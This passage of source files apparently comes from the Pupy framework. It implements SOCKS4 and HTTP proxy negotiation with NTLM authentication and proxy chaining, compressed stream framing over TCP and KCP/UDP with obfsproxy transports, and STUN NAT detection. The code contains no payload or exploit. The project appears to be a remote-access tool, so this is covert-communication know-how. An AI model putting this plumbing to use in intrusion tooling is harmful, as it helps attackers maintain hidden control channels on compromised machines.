        """
        dest_addr, dest_port = dest
        rdns, username, password, _ = properties

        writer = conn.makefile("wb")
        reader = conn.makefile("rb", 0)  # buffering=0 renamed in Python 3
        try:
            # Check if the destination address provided is an IP address
            remote_resolve = False
            try:
                addr_bytes = socket.inet_aton(dest_addr)
            except socket.error:
                # It's a DNS name. Check where it should be resolved.
                if rdns:
                    addr_bytes = b"\x00\x00\x00\x01"
                    remote_resolve = True
                else:
                    addr_bytes = socket.inet_aton(socket.gethostbyname(dest_addr))

            # Construct the request packet
            writer.write(struct.pack(">BBH", 0x04, 0x01, dest_port))
            writer.write(addr_bytes)

            # The username parameter is considered userid for SOCKS4
            if username:
                writer.write(username)
            writer.write(b"\x00")

            # DNS name if remote resolving is required
            # NOTE: This is actually an extension to the SOCKS4 protocol
            # called SOCKS4A and may not be supported in all cases.
            if remote_resolve:
                try:
                    dest_addr = dest_addr.encode('idna')
                except:
                    pass

                writer.write(dest_addr + b"\x00")
            writer.flush()

            # Get the response from the server
            resp = self._readall(reader, 8)
            if resp[0:1] != b"\x00":
                # Bad data
                raise GeneralProxyError("SOCKS4 proxy server sent invalid data")

            status = ord(resp[1:2])
            if status != 0x5A:
                # Connection failed: server returned an error
                error = SOCKS4_ERRORS.get(status, "Unknown error")
                raise SOCKS4Error("{0:#04x}: {1}".format(status, error))

            # Get the bound address/port
            self.proxy_sockname = (socket.inet_ntoa(resp[4:]), struct.unpack(">H", resp[2:4])[0])
            if remote_resolve:
                self.proxy_peername = socket.inet_ntoa(addr_bytes), dest_port
            else:
                self.proxy_peername = dest_addr, dest_port
        finally:
            reader.close()
            writer.close()

    def _negotiate_HTTP(self, conn, dest, properties):
        """
        Negotiates a connection through an HTTP server.
        NOTE: This currently only supports HTTP CONNECT-style proxies.
        """

        dest_addr, dest_port = dest
        rdns, username, password, auth_type = properties

        status_code = None
        headers = None
        need_request = True

        # If we need to resolve locally, we do this now
        addr = dest_addr if rdns else socket.gethostbyname(dest_addr)
        try:
            addr = addr.encode('idna')
        except:
            pass

        try:
            dest_addr = dest_addr.encode('idna')
        except:
            pass

        http_headers = [
            b"CONNECT " + addr + b":" + str(dest_port).encode() + b" HTTP/1.1",
            b"Host: " + dest_addr,
            b"Connection: Keep-Alive",
            b"Proxy-Connection: keep-alive",
        ]

        if auth_type:
            if not (username and password):
                curr_addr, curr_port = self._last_addr
                cred = find_first_cred('http', curr_addr, curr_port)
                if cred:
                    username = cred.user
                    password = cred.password

            if 'BASIC' in auth_type:
                if not (username and password):
                    raise AuthenticationImpossible(
                        'Authentication required, but credentials are not provided')

                http_headers.append(b"Proxy-Authorization: basic " + b64encode(username + b":" + password))

            elif Authentication and (
                    'NTLM' in auth_type or 'NEGOTIATE' in auth_type):
                ctx = Authentication(logger)

                domain = None
                if username and '\\' in username:
                    domain, username = username.split('\\', 1)

                try:
                    _, method, payload = ctx.create_auth1_message(
                        domain, username, password,
                        'http://{}:{}'.format(dest_addr, dest_port), auth_type
                    )

                except AuthenticationError as e:
                    raise AuthenticationImpossible('Error during SSP authentication: {}'.format(e))

                ntlm_headers = list(http_headers)
                ntlm_headers.append(b'Proxy-Authorization: ' + ' '.join([method, payload]))
                ntlm_headers.append(b'\r\n')
                ntlm_payload = b'\r\n'.join(ntlm_headers)

                conn.sendall(ntlm_payload)

                status_code, headers = self.recv_http_response(conn)

                if status_code == 200:
                    need_request = False
                else:
                    if status_code != 407:
                        raise GeneralProxyError(
                            'Invalid Authentication Sequence (STATUS: {})'.format(
                                status_code))

                    need_request = True
                    challenge = None

                    for header, value in headers.items():
                        if header.lower() == 'proxy-authenticate':
                            value = value.strip()
                            if not value.startswith(method + ' '):
                                raise GeneralProxyError(
                                    'Invalid Authentication Sequence (Invalid payload)')

                            _, challenge = value.split(' ', 1)

                    if not challenge:
                        raise GeneralProxyError(
                            'Invalid Authentication Sequence (Challenge not found)')

                    try:
                        _, method, payload = ctx.create_auth2_message(challenge)
                    except AuthenticationError as e:
                        raise AuthenticationImpossible(
                            'Error during SSP authentication (Step 2): {}'.format(e))

                    http_headers.append('Proxy-Authorization: ' + ' '.join([method, payload]))

            else:
                raise GeneralProxyError(
                    'Unsupported authentication scheme: {}'.format(
                        auth_type))

        if need_request:
            http_headers.append(b'\r\n')
            request = b'\r\n'.join(http_headers)

            conn.sendall(request)

            status_code, headers = self.recv_http_response(conn)

        if status_code in (401, 407):
            if auth_type is not None:
                raise AuthenticationImpossible(
                    'Authentication using method {} has been failed'.format(auth_type))

            if not username and password:
                raise AuthenticationImpossible('Authentication required, but credentials are not provided')

            methods = headers.get('Proxy-Authenticate')
            if not methods:
                methods = ['BASIC']
            else:
                methods = [x.strip().upper() for x in methods.split(',')]

            raise AuthenticationRequired(methods)

        elif status_code != 200:
            error = "ERROR: {0}".format(status_code)
            if status_code in (400, 403, 405):
                # It's likely that the HTTP proxy server does not support the CONNECT tunneling method
                error += ("\n[*] Note: The HTTP proxy server may not be supported by PySocks"
                          " (must be a CONNECT tunnel proxy)")
            raise HTTPError(error)

        self.proxy_sockname = (b"0.0.0.0", 0)
        self.proxy_peername = addr, dest_port

    _proxy_negotiators = {
        SOCKS4: _negotiate_SOCKS4,
        SOCKS5: _negotiate_SOCKS5,
        HTTP: _negotiate_HTTP
    }

    def _connect_first(self, conn=None, port=None):
        proxy = self.proxy[0]
        proxy_type = proxy[0]

        proxy_host, proxy_port = self._proxy_addr(proxy)
        if conn is None:
            conn = self

        if port is not None and len(self.proxy) == 1:
            proxy_port = port

        try:
            if conn is self:
                _BaseSocket.connect(self, (proxy_host, proxy_port))
            else:
                conn.connect((proxy_host, proxy_port))

            self._setkeepalive(conn)
            self._last_addr = proxy_host, proxy_port

        except socket.error as e:
            conn.close()

            proxy_server = '{}:{}'.format(proxy_host, proxy_port)
            printable_type = PRINTABLE_PROXY_TYPES[proxy_type]

            msg = 'Error connecting to {} proxy {}: {}'.format(
                printable_type, proxy_server, e)

            raise ProxyConnectionError(msg, e)

    def _connect_rest(self, conn=None, last=None, port=None):
        if conn is None:
            conn = self

        proxy = self.proxy[0]
        previous_proxy_type = proxy[0]
        previous_proxy_properties = proxy[3:]

        proxies = self.proxy[1:last]

        rest = len(proxies)

        for i, proxy in enumerate(proxies):
            next_proxy_addr = self._proxy_addr(proxy)
            try:
                # Calls negotiate_{SOCKS4, SOCKS5, HTTP}
                negotiate = self._proxy_negotiators[previous_proxy_type]

                if i == rest-1 and port is not None:
                    next_proxy_addr = (next_proxy_addr[0], port)

                negotiate(self, conn, next_proxy_addr, previous_proxy_properties)
                self._last_addr = next_proxy_addr

                previous_proxy_type = proxy[0]
                previous_proxy_properties = proxy[3:]

            except AuthenticationRequired as error:
                # Mark current proxy as one required authentication
                proxies[i][6] = error.methods
                conn.close()
                raise

            except socket.error as error:
                # Wrap socket errors
                conn.close()
                raise GeneralProxyError("Socket error", error)

            except ProxyError:
                # Protocol error while negotiating with proxy
                conn.close()
                raise

    def _connect(self, conn, dest_addr):
        self._connect_first(conn)
        self._connect_rest(conn)

        proxy = self.proxy[-1]

        previous_proxy_type = proxy[0]
        previous_proxy_properties = proxy[3:]

        try:
            # Calls negotiate_{SOCKS4, SOCKS5, HTTP}
            negotiate = self._proxy_negotiators[previous_proxy_type]
            negotiate(self, conn, dest_addr, previous_proxy_properties)
            self._last_addr = dest_addr

        except AuthenticationRequired as error:
            self.proxy[-1][6] = error.methods
            conn.close()
            raise

        except socket.error as error:
            # Wrap socket errors
            conn.close()
            raise GeneralProxyError("Socket error", error)

        except ProxyError:
            # Protocol error while negotiating with proxy
            conn.close()
            raise

        return True

    def _bind(self, conn, dest_addr):
        self._connect_first(conn)
        self._connect_rest(conn)

        proxy = self.proxy[-1]

        previous_proxy_type = proxy[0]
        previous_proxy_properties = proxy[3:]

        if previous_proxy_type != SOCKS5:
            raise GeneralProxyError('Bind is not supported for non-SOCKS5 proxies')


        SOCKS5_BIND = b'\x02'

        try:
            _, relay = self._SOCKS5_request(
                conn, SOCKS5_BIND, dest_addr, previous_proxy_properties)
        except socket.error as error:
            # Wrap socket errors
            conn.close()
            raise GeneralProxyError("Socket error", error)
        except ProxyError:
            # Protocol error while negotiating with proxy
            conn.close()
            raise

        self.proxy_sockname = relay
        return conn, relay

    def _accept(self):
        conn = _orig_socket()
        relay = None

        while True:
            try:
                _, relay = self._bind(conn, self._socks5_bind_addr)
                break
            except AuthenticationRequired:
                _orig_socket.__init__(
                    self, *self._orig_args, **self._orig_kwargs)

        _, port = relay

        reader = conn.makefile('rb', 0)
        reader.read(3)

        return conn, self._read_SOCKS5_address(reader)

    def connect(self, dest_pair):
        """
        Connects to the specified destination through a proxy.
        Uses the same API as socket's connect().
        To select the proxy server, use set_proxy().

        dest_pair - 2-tuple of (IP/hostname, port).
        """

        if not self.proxy:
            # Treat like regular socket object
            self.proxy_peername = dest_pair
            _BaseSocket.connect(self, *dest_pair)
            self._setkeepalive()
            return

        if len(dest_pair) != 2 or dest_pair[0].startswith("["):
            # Probably IPv6, not supported -- raise an error, and hope
            # Happy Eyeballs (RFC6555) makes sure at least the IPv4
            # connection works...
            raise socket.error("PySocks doesn't support IPv6")

        dest_addr, dest_port = dest_pair

        if self.type == socket.SOCK_DGRAM:
            if not self._proxyconn:
                self.bind(("", 0))
            dest_addr = socket.gethostbyname(dest_addr)

            # If the host address is INADDR_ANY or similar, reset the peer
            # address so that packets are received from any peer
            if dest_addr == "0.0.0.0" and not dest_port:
                self.proxy_peername = None
            else:
                self.proxy_peername = (dest_addr, dest_port)
            return

        # Do a minimal input check first
        if (not isinstance(dest_pair, (list, tuple)) or \
                len(dest_pair) != 2 or \
                not dest_addr or \
                not isinstance(dest_port, int)):
            raise GeneralProxyError("Invalid destination-connection (host, port) pair")

        while True:
            try:
                self._connect(self, dest_pair)
                break
            except AuthenticationRequired:
                _orig_socket.__init__(
                    self, *self._orig_args, **self._orig_kwargs)

    def _proxy_addr(self, proxy):
        """
        Return proxy address to connect to as tuple object
        """
        proxy_type, proxy_addr, proxy_port, _, _, _, _ = proxy
        proxy_port = proxy_port or DEFAULT_PORTS.get(proxy_type)
        if not proxy_port:
            raise GeneralProxyError("Invalid proxy type")
        return proxy_addr, proxy_port

    def _setkeepalive(self, conn=None):
        if conn is None:
            conn = self

        conn.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
        if hasattr(socket, 'TCP_KEEPIDLE') and hasattr(socket, 'TCP_KEEPINTVL') and hasattr(socket, 'TCP_KEEPCNT'):
            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)
            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)
            conn.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)
        elif hasattr(socket, 'SIO_KEEPALIVE_VALS') and hasattr(conn, 'ioctl'):
            conn.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 1*60*1000, 5*60*1000))


================================================
FILE: pupy/network/lib/streams/PupySocketStream.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

""" abstraction layer over rpyc streams to handle different transports and integrate obfsproxy pluggable transports """

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.network.lib import getLogger

logger = getLogger('pss')

__all__ = [
    'PupySocketStream',
]

try:
    import kcp
    assert kcp

    __all__.append(
        'PupyUDPSocketStream'
    )

except ImportError:
    logger.warning('Datagram based stream is not available: KCP missing')

import sys
import os
import socket
import time
import errno
import traceback
import zlib

from pupy.network.lib.buffer import Buffer
from pupy.network.lib.compat import select, select_error, get_exc_errno
from pupy.network.lib.rpc.core import SocketStream, Channel

import threading

class addGetPeer(object):
    """ add some functions needed by some obfsproxy transports """

    def __init__(self, peer):
        self.peer=peer

    def getPeer(self):
        return self.peer

class PupyChannel(Channel):
    def __init__(self, *args, **kwargs):
        super(PupyChannel, self).__init__(*args, **kwargs)
        self.compress = True
        self.COMPRESSION_LEVEL = 5
        self.COMPRESSION_THRESHOLD = self.stream.MAX_IO_CHUNK

        self._send_channel_lock = threading.Lock()
        self._recv_channel_lock = threading.Lock()

    def consume(self):
        if hasattr(self.stream, 'consume'):
            return self.stream.consume()

    def wake(self):
        if hasattr(self.stream, 'wake'):
            return self.stream.wake()

    def recv(self):
        #print( "RECV", threading.currentThread())
        with self._recv_channel_lock:
            data = self._recv()

            if __debug__:
                logger.debug('channel: recv=%s', len(data) if data else 'NONE')

            return data

    def send(self, data):
        with self._send_channel_lock:
            if __debug__:
                logger.debug('channel: send=%s', len(data))

            self._send(data)

    def _recv(self):
        """ Recv logic with interruptions """

        #print( "RECV! WAIT FOR LENGTH!")

        packet = self.stream.read(self.FRAME_HEADER.size)
        # If no packet - then just return
        if not packet:
            return None

        header = packet

        while len(header) != self.FRAME_HEADER.size:
            packet = self.stream.read(self.FRAME_HEADER.size - len(header))
            if packet:
                header += packet
                del packet

        length, compressed = self.FRAME_HEADER.unpack(header)
        #print( "RECV! WAIT FOR LENGTH COMPLETE!")

        required_length = length + len(self.FLUSHER)
        #print( "WAIT FOR", required_length)

        decompressor = None

        if compressed:
            decompressor = zlib.decompressobj()

        buf = Buffer()

        while required_length:
            packet = self.stream.read(min(required_length, self.COMPRESSION_THRESHOLD))
            if packet:
                required_length -= len(packet)
                #print( "GET", len(packet))
                if not required_length:
                    packet = packet[:-len(self.FLUSHER)]
                #print( "PACKET IS FINALLY ", len(packet))
                if compressed:
                    packet = decompressor.decompress(packet)
                    if not packet:
                        continue

                if packet:
                    buf.write(packet)

        if compressed:
            packet = decompressor.flush()
            if packet:
                buf.write(packet)

        #print( "COMPLETE!")
        return buf

    def _send(self, data):
        """ Smarter compression support """
        compressed = 0

        ldata = len(data)
        portion = None
        lportion = 0

        #print( "SEND .. ", ldata)

        if self.compress and ldata > self.COMPRESSION_THRESHOLD:
            portion = data.peek(self.COMPRESSION_THRESHOLD)
            portion = zlib.compress(portion)
            lportion = len(portion)
            if lportion < self.COMPRESSION_THRESHOLD:
                compressed = 1

        if not compressed:
            del portion
            self.stream.write(self.FRAME_HEADER.pack(ldata, compressed), notify=False)
            self.stream.write(data, notify=False)
            self.stream.write(self.FLUSHER)
            #print( "SEND .. ", ldata, "DONE")
            return

        del portion
        compressor = zlib.compressobj(self.COMPRESSION_LEVEL)

        total_length = 0
        rest = ldata
        i = 0

        while rest > 0:
            cdata = data.read(self.COMPRESSION_THRESHOLD)

            lcdata = len(cdata)
            rest -= lcdata
            i += lcdata

            portion = compressor.compress(cdata)
            lportion = len(portion)

            if lportion > 0:
                total_length += lportion

                #print( "SEND .. ", lportion, "DONE")
                self.stream.write(portion, notify=False)

        portion = compressor.flush()
        lportion = len(portion)
        if lportion:
            total_length += lportion
            #print( "SEND .. ", lportion, "DONE")
            self.stream.write(portion, notify=False)

        del portion, data, cdata

        self.stream.insert(self.FRAME_HEADER.pack(total_length, compressed))
        #print( "SEND WITH TOTAL LENGTH", total_length)
        #print( "SEND FLUSHER ", len(self.FLUSHER), "DONE")
        self.stream.write(self.FLUSHER)


class PupySocketStream(SocketStream):
    def __init__(self, sock, transport_class, transport_kwargs):
        super(PupySocketStream, self).__init__(sock)

        self.MAX_IO_CHUNK = 32000
        self.KEEP_ALIVE_REQUIRED = False
        self.compress = True

        #buffers for transport
        self.upstream = Buffer(
            transport_func=addGetPeer(("127.0.0.1", 443)),
            shared=True
        )

        if sock is None:
            peername = '127.0.0.1', 0
        elif type(sock) is tuple:
            peername = sock[0], sock[1]
        else:
            peername = sock.getpeername()

        self.downstream = Buffer(
            on_write=self._upstream_recv,
            transport_func=addGetPeer(peername),
            shared=True
        )

        self.upstream_lock = threading.Lock()
        self.downstream_lock = threading.Lock()

        self.transport = transport_class(self, **transport_kwargs)

        #buffers for streams
        self.buf_in = Buffer()
        self.buf_out = Buffer()

        self.failed = False
        try:
            self.on_connect()

        except Exception:
            self.failed = True
            raise

    def on_connect(self):
        self.transport.on_connect()
        self._upstream_recv()

    def _read(self):
        try:
            buf = self.sock.recv(self.MAX_IO_CHUNK)
            if __debug__:
                logger.debug('stream: read=%s', len(buf) if buf else None)

        except socket.timeout:
            return

        except socket.error:
            ex = sys.exc_info()[1]
            if get_exc_errno(ex) in (errno.EAGAIN, errno.EWOULDBLOCK):
                # windows just has to be a b**ch
                # edit: some politeness please ;)
                return
            self.close()
            raise EOFError(ex)

        if not buf:
            self.close()
            raise EOFError("connection closed by peer")

        self.buf_in.write(buf)

    # The root of evil
    def poll(self, timeout):
        if self.closed:
            raise EOFError('polling on already closed connection')
        result = (len(self.upstream)>0 or self.sock_poll(timeout))
        return result

    def sock_poll(self, timeout):
        with self.downstream_lock:
            to_close = None
            to_read = None

            while not (to_close or to_read or self.closed):
                try:
                    to_read, _, to_close = select([self.sock], [], [self.sock], timeout)
                except select_error as r:
                    if not r.args[0] == errno.EINTR:
                        to_close = True
                    continue

                break

            if to_close:
                raise EOFError('sock_poll error')

            if to_read:
                self._read()
                self.transport.downstream_recv(self.buf_in)
                return True
            else:
                return False

    def _upstream_recv(self):
        """ called as a callback on the downstream.write """
        if len(self.downstream)>0:
            if __debug__:
                logger.debug('stream: send=%s', len(self.downstream))

            self.downstream.write_to(super(PupySocketStream, self))

    def waitfor(self, count):
        if __debug__:
            logger.debug('stream: waitfor=%s', count)

        try:
            while len(self.upstream)<count:
                if not self.sock_poll(None) and self.closed:
                    return None

            return self.upstream

        except (EOFError, socket.error):
            self.close()
            raise

        except:
            logger.debug(traceback.format_exc())
            self.close()
            raise

    def read(self, count):
        promise = self.waitfor(count)
        if promise:
            return promise.read(count)

    def insert(self, data):
        with self.upstream_lock:
            self.buf_out.insert(data)

    def flush(self):
        self.buf_out.flush()

    def write(self, data, notify=True):
        if __debug__:
            logger.debug('stream: write=%s / n=%s',
                len(data) if data else None, notify)

        try:
            with self.upstream_lock:
                self.buf_out.write(data, notify)
                del data
                if notify:
                    self.transport.upstream_recv(self.buf_out)
            #The write will be done by the _upstream_recv callback on the downstream buffer

        except (EOFError, socket.error):
            self.close()
            raise

        except:
            logger.debug(traceback.format_exc())
            self.close()
            raise


class PupyUDPSocketStream(object):
    NEW = b'\x00'
    DAT = b'\x01'
    END = b'\x02'

    def __init__(self, sock, transport_class, transport_kwargs={}, client_side=True, close_cb=None, lsi=5):

        if not (type(sock) is tuple and len(sock) in (2,3)):
            raise Exception(
                'dst_addr is not supplied for UDP stream, '
                'PupyUDPSocketStream needs a reply address/port')

        self.client_side = client_side
        self.closed = False

        self.local_connid = os.urandom(4)
        self.remote_connid = None

        self.LONG_SLEEP_INTERRUPT_TIMEOUT = lsi
        self.KEEP_ALIVE_REQUIRED = lsi * 3
        self.INITIALIZED = False
        self.NEW_SENT = False

        self.sock, self.dst_addr = sock[0], sock[1]
        if len(sock) == 3:
            self.kcp = sock[2]
        else:
            if client_side:
                dst = self.sock.fileno()
            else:
                # dst = lambda data: self.sock.sendto(data, self.dst_addr)
                dst = (
                    self.sock.fileno(), self.sock.family, self.dst_addr[0], self.dst_addr[1]
                )

            self.kcp = kcp.KCP(dst, 0, interval=64)

        self.kcp.window = 32768

        self.buf_in = Buffer(shared=True)
        self.buf_out = Buffer()

        #buffers for transport
        self.upstream = Buffer(
            transport_func=addGetPeer(("127.0.0.1", 443)),
            shared=True
        )

        self.downstream = Buffer(
            on_write=self._send,
            transport_func=addGetPeer(self.dst_addr),
            shared=True
        )

        self.upstream_lock = threading.Lock()
        self.downstream_lock = threading.Lock()

        self.transport = transport_class(self, **transport_kwargs)

        self.MAX_IO_CHUNK = self.kcp.mtu - (24 + 5)
        self.compress = True
        self.close_callback = close_cb

        self._wake_after = None

        self.failed = False
        try:
            self.on_connect()

        except Exception:
            self.failed = True
            raise

    def on_connect(self):
        self.transport.on_connect()

    def _send_packet(self, flag, data=b''):
        need_flush = False
        if flag in (self.NEW, self.END):
            need_flush = True

        if flag == self.DAT and not self.NEW_SENT:
            flag = self.NEW
            self.NEW_SENT = True

        packet = flag + self.local_connid + data

        self.kcp.send(packet)
        if need_flush:
            self.kcp.flush()

    def poll(self, timeout):
        if self.closed:
            return None

        return len(self.upstream)>0 or self._poll_read(timeout)

    def close(self):
        self._send_packet(self.END)

        if self.close_callback:
            self.close_callback('{}:{}'.format(
                self.dst_addr[0], self.dst_addr[1]))

        self.closed = True
        self.kcp = None

        if self.client_side:
            self.sock.close()

    def _send(self):
        """ called as a callback on the downstream.write """
        if self.closed or not self.kcp:
            raise EOFError('Connection is not established yet')

        if len(self.downstream)>0:
            while len(self.downstream) > 0:
                data = self.downstream.read(self.MAX_IO_CHUNK)
                self._send_packet(self.DAT, data)

            if self.kcp:
                self.kcp.flush()

    def _process_buf(self, buf):
        flag = buf[0]
        connid = buf[1:5]
        buf = buf[5:]

        if not self.INITIALIZED:
            if flag == self.NEW[0]:
                self.INITIALIZED = True
                self.remote_connid = connid
            else:
                if flag == self.DAT[0]:
                    self._send_packet(self.END)

                raise EOFError(
                    'Unexpected flag ({} ({}))'.format(
                        repr(flag), type(flag)
                    )
                )
        elif flag == self.END[0]:
            raise EOFError('EOF Flag received')

        elif connid != self.remote_connid:
            raise EOFError('Unexpected connection id')

        return buf

    def _poll_read(self, timeout=None):
        if not self.client_side:
            # In case of strage hangups change None to timeout
            self._wake_after = time.time() + timeout
            return self.buf_in.wait(None)

        buf = self.kcp.recv()
        if buf is None:
            if timeout is not None:
                timeout = int(timeout * 1000)

            try:
                buf = self.kcp.pollread(timeout)
            except OSError as e:
                raise EOFError(str(e))

        have_data = False
        while buf:
            buf = self._process_buf(buf)
            if buf:
                with self.buf_in:
                    self.buf_in.write(buf, notify=False)
                have_data = True

            buf = self.kcp.recv()

        if have_data:
            self.buf_in.flush()
            return True

        return False

    def read(self, count):
        if self.closed:
            return self.upstream.read(count)

        try:
            while len(self.upstream) < count:
                if self.buf_in or self._poll_read(10):
                    with self.buf_in:
                        self.transport.downstream_recv(self.buf_in)
                else:
                    break

            return self.upstream.read(count)

        except:
            logger.debug(traceback.format_exc())

    def insert(self, data):
        with self.upstream_lock:
            self.buf_out.insert(data)

    def flush(self):
        self.buf_out.flush()

    def write(self, data, notify=True):
        # The write will be done by the _upstream_recv
        # callback on the downstream buffer

        try:
            with self.upstream_lock:
                self.buf_out.write(data, notify)
                del data
                if notify:
                    self.transport.upstream_recv(self.buf_out)

        except:
            logger.debug(traceback.format_exc())
            raise

    def consume(self):
        data = False
        with self.downstream_lock:
            while True:
                kcpdata = self.kcp.recv()
                if kcpdata:
                    kcpdata = self._process_buf(kcpdata)
                else:
                    break

                if kcpdata:
                    with self.buf_in:
                        self.buf_in.write(kcpdata, notify=False)
                    data = True

            if not data:
                return True

        if data:
            self.buf_in.flush()

        return True

    def wake(self):
        now = time.time()
        if not self._wake_after or (now >= self._wake_after):
            with self.downstream_lock:
                self.buf_in.wake()
            self._wake_after = now + self.LONG_SLEEP_INTERRUPT_TIMEOUT


================================================
FILE: pupy/network/lib/streams/PupyVirtualStream.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.lib import getLogger
logger = getLogger('pvs')

__all__ = [
    'PupyVirtualStream'
]

from pupy.network.lib.buffer import Buffer
import threading

import traceback


class PupyVirtualStream(object):

    MAX_IO_CHUNK = 65536
    KEEP_ALIVE_REQUIRED = False
    compress = True

    __slots__ = (
        'upstream', 'on_receive',
        'downstream', 'upstream_lock',
        'downstream_lock', 'transport',
        'transport_class', 'transport_kwargs',
        'buf_in', 'buf_out', 'closed',
        'peername'
    )

    def __init__(self, transport_class, transport_kwargs={}, peername=None, on_receive=None):
        self.on_receive = None
        self.closed = True

        # buffers for transport
        self.upstream = Buffer(shared=True)

        self.downstream = None

        self.upstream_lock = threading.Lock()
        self.downstream_lock = threading.Lock()

        self.transport_class = transport_class
        self.transport_kwargs = transport_kwargs

        # buffers for streams
        self.buf_in = Buffer(shared=True)
        self.buf_out = Buffer()

        self.peername = peername

        if peername and on_receive:
            self.activate(peername, on_receive)

        logger.debug('Allocated (%s)', self)

    def __repr__(self):
        return 'PVS:{}{}'.format(
            str(self.peername) + ':' if self.peername else '',
            id(self))

    def activate(self, peername, on_receive):
        logger.debug('Activating (%s/%s)', self, peername)

        if not self.closed:
            return

        self.closed = False
        self.peername = peername
        self.on_receive = on_receive
        self.downstream = Buffer(
            on_write=self._flush,
            shared=True
        )

        self.transport = self.transport_class(
            self, **self.transport_kwargs)

        logger.debug('Activating ..  (%s) - transport - %s',
            self, self.transport)

        self.transport.on_connect()
        logger.debug('Activated (%s)', self)

    def _flush(self):
        logger.debug('Flush (%s) - %s', self, len(self.downstream))
        data = self.downstream.read()
        try:
            self.on_receive(self, data, None)
            logger.debug('Flush (%s / %d) - complete', self, len(self.downstream))
        except Exception as e:
            logger.exception('Flush (%s) - failed - %d', self, e)
            self.closed = True
            raise EOFError(e)

    def _check_eof(self):
        if self.closed:
            logger.debug('EOF (%s)', self)
            raise EOFError('VirtualStream closed')

    def poll(self, timeout):
        self._check_eof()
        return len(self.upstream)>0 or self._poll_wait(timeout)

    def _poll_wait(self, timeout=None):
        logger.debug('Poll (%s) start (timeout=%s)', self, timeout)

        self._check_eof()
        self.buf_in.wait(timeout)
        self._check_eof()

        result = bool(len(self.buf_in))

        logger.debug('Poll (%s) completed: %s', self, result)
        return result

    def submit(self, data):
        logger.debug('Submit (%s): %s - start', self, len(data))

        try:
            self._check_eof()

            with self.buf_in:
                self.buf_in.write(data)

            logger.debug('Submit (%s): completed', self)

        except Exception as e:
            logger.debug('Submit (%s): exception %s', self, e)
            raise

    def read(self, count):
        logger.debug('Read (%s) - %s / %s - start',
            self, count, len(self.upstream))

        while len(self.upstream) < count and not self.closed:
            if self.buf_in or self.poll(10):
                with self.buf_in:
                    self.transport.downstream_recv(self.buf_in)
            else:
                break

        self._check_eof()

        logger.debug('Read (%s) - %s / %s - done',
            self, count, len(self.upstream))

        return self.upstream.read(count)

    def insert(self, data):
        logger.debug('Insert (%s): %s', self, len(data))

        self._check_eof()

        with self.upstream_lock:
            self.buf_out.insert(data)

    def flush(self):
        logger.debug('Flush (%s)')

        self.buf_out.flush()
        self._check_eof()

    def write(self, data, notify=True):
        logger.debug('Write (%s): %s (notify=%s)',
            self, len(data), notify)

        self._check_eof()

        try:
            with self.upstream_lock:
                self.buf_out.write(data, notify)

                del data

                if notify:
                    self.transport.upstream_recv(self.buf_out)
        except:
            logger.debug(traceback.format_exc())
            raise

    def close(self):
        stack = traceback.extract_stack()
        if len(stack) > 2:
            logger.debug('Close(%s) (at: %s:%s %s(%s))',
                self, *stack[-2])

        self.closed = True
        self.upstream.wake()


================================================
FILE: pupy/network/lib/streams/__init__.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = [
    'PupySocketStream',
]

from .PupySocketStream import PupySocketStream

try:
    from .PupySocketStream import PupyUDPSocketStream
    __all__.append('PupyUDPSocketStream')

except ImportError:
    PupyUDPSocketStream = None


================================================
FILE: pupy/network/lib/stun.py
================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
# https://raw.githubusercontent.com/jtriley/pystun/develop/stun/__init__.py

__all__ = (
    'stun_test',
    'get_nat_type',
    'get_ip_info',
    'get_ip'
)

import binascii
import random
import socket

__version__ = '0.1.0'

from pupy.network.lib import getLogger
log = getLogger("pystun")

STUN_SERVERS = (
    'stun.ekiga.net',
    'stun.ideasip.com',
    'stun.voiparound.com',
    'stun.voipbuster.com',
    'stun.voipstunt.com',
    'stun.voxgratia.org'
)

DEFAULTS = {
    'stun_port': 3478,
}

# stun attributes
MappedAddress = '0001'
ResponseAddress = '0002'
ChangeRequest = '0003'
SourceAddress = '0004'
ChangedAddress = '0005'
Username = '0006'
Password = '0007'
MessageIntegrity = '0008'
ErrorCode = '0009'
UnknownAttribute = '000A'
ReflectedFrom = '000B'
XorOnly = '0021'
XorMappedAddress = '8020'
ServerName = '8022'
SecondaryAddress = '8050'  # Non standard extension

# types for a stun message
BindRequestMsg = '0001'
BindResponseMsg = '0101'
BindErrorResponseMsg = '0111'
SharedSecretRequestMsg = '0002'
SharedSecretResponseMsg = '0102'
SharedSecretErrorResponseMsg = '0112'

dictAttrToVal = {'MappedAddress': MappedAddress,
                 'ResponseAddress': ResponseAddress,
                 'ChangeRequest': ChangeRequest,
                 'SourceAddress': SourceAddress,
                 'ChangedAddress': ChangedAddress,
                 'Username': Username,
                 'Password': Password,
                 'MessageIntegrity': MessageIntegrity,
                 'ErrorCode': ErrorCode,
                 'UnknownAttribute': UnknownAttribute,
                 'ReflectedFrom': ReflectedFrom,
                 'XorOnly': XorOnly,
                 'XorMappedAddress': XorMappedAddress,
                 'ServerName': ServerName,
                 'SecondaryAddress': SecondaryAddress}

dictMsgTypeToVal = {
    'BindRequestMsg': BindRequestMsg,
    'BindResponseMsg': BindResponseMsg,
    'BindErrorResponseMsg': BindErrorResponseMsg,
    'SharedSecretRequestMsg': SharedSecretRequestMsg,
    'SharedSecretResponseMsg': SharedSecretResponseMsg,
    'SharedSecretErrorResponseMsg': SharedSecretErrorResponseMsg}

dictValToMsgType = {}

dictValToAttr = {}

Blocked = "Blocked"
OpenInternet = "Open Internet"
FullCone = "Full Cone"
SymmetricUDPFirewall = "Symmetric UDP Firewall"
RestricNAT = "Restric NAT"
RestricPortNAT = "Restric Port NAT"
SymmetricNAT = "Symmetric NAT"
ChangedAddressError = "Meet an error, when do Test1 on Changed IP and Port"
